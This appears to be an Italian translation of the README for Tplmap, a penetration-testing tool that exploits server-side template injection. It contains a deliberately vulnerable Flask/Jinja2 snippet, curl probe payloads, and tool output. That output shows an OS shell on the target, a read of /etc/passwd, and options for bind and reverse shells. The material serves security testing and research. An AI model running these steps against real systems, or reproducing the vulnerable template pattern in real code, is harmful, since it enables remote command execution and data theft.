
Strumento di rilevamento e sfruttamento di iniezioni di template lato server e iniezioni di codice
Questo progetto non è più mantenuto. Sono felice di unire nuove PR purché non rompano la test suite.
Tplmap assiste nello sfruttamento di vulnerabilità di Code Injection e Server-Side Template Injection con una serie di tecniche di escape dalla sandbox per ottenere accesso al sistema operativo sottostante.
Lo strumento e la sua suite di test sono sviluppati per ricercare la classe di vulnerabilità SSTI e per essere usati come strumento di sicurezza offensiva durante i test di penetrazione di applicazioni web.
Le tecniche di break-out dalla sandbox provengono da James Kett Server-Side Template Injection: RCE For The Modern Web App, altre ricerche pubbliche [1] [2], e contributi originali a questo strumento [3] [4].
Può sfruttare diversi contesti di codice e scenari di iniezione cieca. Supporta anche iniezioni di codice simili a eval() in Python, Ruby, PHP, Java e motori di template generici senza sandbox.
Supponi di fare auditing su un sito web che genera pagine dinamiche usando template composti con valori forniti dall'utente, come questa applicazione web scritta in Python e Flask che usa il motore di template Jinja2 in modo non sicuro.
from flask import Flask, request
from jinja2 import Environment
app = Flask(__name__)
Jinja2 = Environment()
@app.route("/page")
def page():
name = request.values.get('name')
# SSTI VULNERABILITY
# The vulnerability is introduced concatenating the
# user-provided `name` variable to the template string.
output = Jinja2.from_string('Hello ' + name + '!').render()
# Instead, the variable should be passed to the template context.
# Jinja2.from_string('Hello {{name}}!').render(name = name)
return output
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Da una prospettiva di test black box, la pagina riflette il valore in modo simile a una vulnerabilità XSS, ma calcola anche operazioni di base in fase di esecuzione rivelando la sua natura SSTI.
$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!
Tplmap è in grado di rilevare e sfruttare SSTI in una gamma di motori di template per ottenere accesso al file system e al sistema operativo sottostante. Eseguilo contro l'URL per testare se i parametri sono vulnerabili.
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Usa l'opzione --os-shell per avviare un pseudo-terminale sul target.
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Run commands on the operating system.
linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Vedi burp_extension/README.md.
| Motore | Esecuzione remota comandi | Cieco | Valutazione codice | Lettura file | Scrittura file |
|---|
| Mako | ✓ | ✓ | Python | ✓ | ✓ |
| Jinja2 | ✓ | ✓ | Python | ✓ | ✓ |
| Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ |
| Tornado | ✓ | ✓ | Python | ✓ | ✓ |
| Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Pug | ✓ | ✓ | JavaScript | ✓ | ✓ |
| doT | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Marko | ✓ | ✓ | JavaScript | ✓ | ✓ |
| JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Dust (<= [email protected]) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| EJS | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ |
| Slim | ✓ | ✓ | Ruby | ✓ | ✓ |
| ERB | ✓ | ✓ | Ruby | ✓ | ✓ |
| Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ |
| PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ |
| Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
| Freemarker | ✓ | ✓ | Java | ✓ | ✓ |
| Velocity | ✓ | ✓ | Java | ✓ | ✓ |
| Twig (>1.19) | × | × | × | × | × |
| Smarty (secured) | × | × | × | × | × |
| Dust (> [email protected]) | × | × | × | × | × |